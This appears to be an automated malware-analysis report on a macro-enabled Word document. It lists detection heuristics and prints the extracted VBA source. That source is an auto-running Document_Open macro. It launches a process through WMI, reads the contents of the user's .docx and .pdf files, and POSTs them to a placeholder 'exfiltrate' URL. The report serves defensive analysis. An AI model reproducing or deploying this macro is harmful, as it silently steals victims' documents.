MALICIOUS
270
Risk Score
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
strDocumentsPath = CreateObject("WScript.Shell").SpecialFolders("MyDocuments") -
VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.Matched line in script
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set objFSO = CreateObject("Scripting.FileSystemObject") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://example.com/exfiltrateIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3039 bytes |
SHA-256: d78b4f7299c49d37636c6304636d478146a49ebecb6319c4b13221caec4f6fbe |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim objWMIService As Object
Dim objProcess As Object
Dim strComputer As String
Dim strCommand As String
Dim objFSO As Object
Dim objFolder As Object
Dim objFile As Object
Dim strDocumentsPath As String
Dim strFileContent As String
Dim strDataToSend As String
Dim objHTTP As Object
Dim strC2Server As String
Dim intProcessID As Integer ' Declare intProcessID
' Initial Access: Triggered by Document_Open
' Execution: Spawn a process using WMI
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objProcess = objWMIService.Get("Win32_Process")
strCommand = "notepad.exe" ' Example of a legitimate process
objProcess.Create strCommand, Null, Null, intProcessID
' Discovery: Search for specific file types in the Documents folder
Set objFSO = CreateObject("Scripting.FileSystemObject")
strDocumentsPath = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
Set objFolder = objFSO.GetFolder(strDocumentsPath)
strDataToSend = ""
For Each objFile In objFolder.Files
If LCase(Right(objFile.Name, 4)) = ".docx" Then
strFileContent = objFSO.OpenTextFile(objFile.Path, 1).ReadAll
strDataToSend = strDataToSend & "File: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
ElseIf LCase(Right(objFile.Name, 4)) = ".pdf" Then
' Read binary files using GetBinary method
Dim objStream As Object
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.LoadFromFile objFile.Path
strFileContent = objStream.ReadText ' ReadText reads binary data as text
objStream.Close
Set objStream = Nothing
strDataToSend = strDataToSend & "File: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
End If
Next
' Collection: Format the collected data
strDataToSend = "Collected Data:" & vbCrLf & strDataToSend
' Command and Control: Exfiltrate data to C2 server using HTTP POST
strC2Server = "http://example.com/exfiltrate"
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "POST", strC2Server, False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=" & strDataToSend
' Clean up
Set objWMIService = Nothing
Set objProcess = Nothing
Set objFSO = Nothing
Set objFolder = Nothing
Set objFile = Nothing
Set objHTTP = Nothing
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: f68c57114944124a397ee2ea3c1d3468c31394bc16fa96b564d61d3a70ef8c89 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.